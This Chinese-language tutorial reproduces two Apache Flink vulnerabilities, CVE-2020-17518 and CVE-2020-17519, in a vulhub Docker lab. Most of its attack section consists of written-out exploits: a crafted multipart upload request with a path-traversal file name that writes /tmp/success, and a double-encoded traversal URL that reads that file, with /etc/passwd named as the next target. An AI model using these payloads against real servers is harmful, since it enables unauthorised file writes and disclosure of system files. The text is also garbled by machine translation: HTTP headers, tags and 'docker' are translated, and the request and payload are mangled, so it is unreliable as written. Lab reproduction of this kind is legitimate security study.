本篇文章为大家展示了如何进行Apache Flink文件操作漏洞cve - 2020 - 17518及cve - 2020 - 17519的分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
<强> 0 x00简介强>
Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象.Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布,数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。
<强> 0 x01漏洞概述强>
<强> cve - 2020 - 17519 强>
Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的其他接口读取JobManager本地文件系统上的任何文件。
<强> cve - 2020 - 17518 强>
Apache Flink 1.5.1引入了一个休息处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。
<强> 0 x02影响范围强>
<强> cve - 2020 - 17519 强>
1.11.0 1.11.1
1.11.2
<强> cve - 2020 - 17518 强>
Flink 1.5.1-1.11.2
<强> 0 x03环境搭建强>
1。本次漏洞环境使用vulhub的码头工人环境搭建,vulhub下载地址:https://github.com/vulhub/vulhub/
2。下载完成后传入装有码头工人和docker-compose环境的虚拟机,进入目录
cd vulhub-master/Flink/cve - 2020 - 17519/
3。使用docker-compose起来- d拉取漏洞环境,因17519年的漏洞环境版本是1.11.2所以复现两个漏洞只需要一个漏洞环境即可。出现“完成”表示拉取成功
4。在浏览器输入http://your-ip: 8081查看页面
<强> 0 x04漏洞复现强>
<强> cve - 2020 - 17518复现强>
1,首先我们先使用cve - 2020 - 17518漏洞写入文件,在首页抓包构造以下构建数据包进行发送
POST HTTP/1.1/瓶/上传
主持人:你的ip: 8081
接受编码:gzip、缩小
接受:*/*
接收语言:在
user - agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,像壁虎)Chrome/87.0.4280.88 Safari 537.36
连接:
内容类型:多部分/格式;边界=- - - - - - - - - - 721072898
内容长度:149
- - - - - - - - - - - 721072898
附加项:格式;name=癹arfile";文件名=? ./. ./. ./. ./. ./. ./. ./. ./tmp/success"
成功- - - - - - - - - - - 721072898——
2。上面数据包返回的虽然是400但是已经写入到码头工人中,进去码头工人查看
<强> cve - 2020 - 17519复现强>
1。上面写入后要是不能进入码头工人查看这里可以利用cve - 2020 - 17519漏洞进行文件读取,在页面首页输入以有效载荷下查看tmp目录下的文件
http://172.16.1.147:8081 jobmanager/日志/? 252 f . . % 252 f…% 252 f . . % 252 f . . % 252 f . . % 252 f . . % 252 f . . % 252 f . . % 252 f . . % 252 f . . % 252 f . .% 252 ftmp % 252 fsuccess
2。修改后面改的负载为查看等下的passwd文件